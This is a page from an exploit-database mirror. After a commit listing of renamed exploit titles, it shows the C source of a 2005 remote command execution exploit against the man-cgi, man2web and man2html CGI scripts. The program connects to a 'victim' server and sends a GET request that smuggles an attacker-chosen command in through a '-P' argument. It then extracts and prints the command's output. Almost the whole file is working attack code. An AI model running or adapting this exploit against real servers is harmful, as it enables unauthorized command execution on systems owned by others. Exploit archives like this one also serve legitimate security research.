exploit-db-mirror/platforms/cgi/webapps/1194.c
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

153 lines
4.7 KiB
C
Executable file

/*
* str0ke@server:~$ ./test some.edu "w" /cgi-bin/man2web 80 1
* /str0ke
*/
/* dl-mancgi.c v0.2
* x86/linux multipie man2web cgi-scripts remote command spawn
* found and coded by tracewar (darklogic team)
* for educaional purposes only.
*****************************************************************
* greetz goes to:
* matan peretz, ofer shaked, setuid, alex, majestic
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
void usage(char *argv0) {
fprintf(stderr, "x86/linux multipie man2web cgi-scripts remote command spawn\n");
fprintf(stderr, "researched by tracewar\n");
fprintf(stderr, "targets: \n0=man-cgi\n1=man2web\n2=man2html\n\n");
fprintf(stderr, "usage: %s <remote_host> <command> <path> <http server port> <target>\n", argv0);
fprintf(stderr, "example:");
fprintf(stderr, " %s 1.2.3.4 w /cgi-bin/man-cgi 80 0\n",argv0);
exit(0);
}
int main(int argc, char **argv) {
int sock, i, j, len = 0;
struct sockaddr_in serv_addr;
struct hostent *crap;
char *cp, dummy[50000], buffer[2000] = "GET ";
if(argc < 6)
usage(argv[0]);
if(atoi(argv[5]) == 0) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 1) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?program=-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 2) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?section=-P");
strcat(dummy, argv[2]);
strcat(dummy, "&topic=w");}
else
usage(argv[0]);
printf("# crafting buffer string ... ");
for(i=0, j=4;i < strlen(dummy);i++) {
if(dummy[i] == ' ') {
strcat(buffer, "%20");
j+=3;}
else {
buffer[j] = dummy[i];
j++;}
}
strcat(buffer, "\r\n");
printf("(done)\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
return printf("# error creating socket.\n");
crap = gethostbyname(argv[1]);
if(crap == NULL)
return printf("# cant resolve the specified hostname: %s\n", argv[1]);
else
printf("# connecting to victim... ");
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(atoi(argv[4]));
bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr, crap->h_length);
if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
return printf("(error)\n# check again %s:%d\n", argv[1], atoi(argv[3]));
printf("(done)\n# sending crafted string... ");
if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
return printf("\n# error while sending the crafted string.!\n");
printf("(done)\n# waiting for our call ...\n");
memset(buffer, 0x00, 2000);
memset(dummy, 0x00, 50000);
printf("\n\n");
while(recv(sock, buffer, 2000, 0) > 0)
strcat(dummy, buffer);
cp = &dummy[0];
i = 0; j = 0;
len = strlen(dummy);
if(atoi(argv[5]) == 0) {
while(strncmp(cp, "<hr>", 4) && i < len) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "<hr>", 4) && strncmp(cp, "<A", 2) && j < len) {
j++;
cp++;
}
*cp = '\0';
cp = &dummy[0] + i + 4;
}
else if(atoi(argv[5]) == 1) {
while(strncmp(cp, "\<pre\>", 5) && i < len) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "pre", 3) && j < len) {
j++;
cp++;
}
*cp = '\0';
cp = &dummy[0] + i + 6;
}
else if(atoi(argv[5]) == 2) {
while(strncmp(cp, "PRE", 3) && i < len) {
cp++;
i++;
}
cp+=2;
while(strncmp(cp, "PRE", 3) && j < len) {
j++;
cp++;
}
*cp = '\0';
cp = &dummy[0] + i + 2;
}
if(*cp == '\0')
return printf("# Bad response from the server.\n");
printf("%s", cp);
printf("\n\n");
close(sock);
return 0;
}
// milw0rm.com [2005-09-04]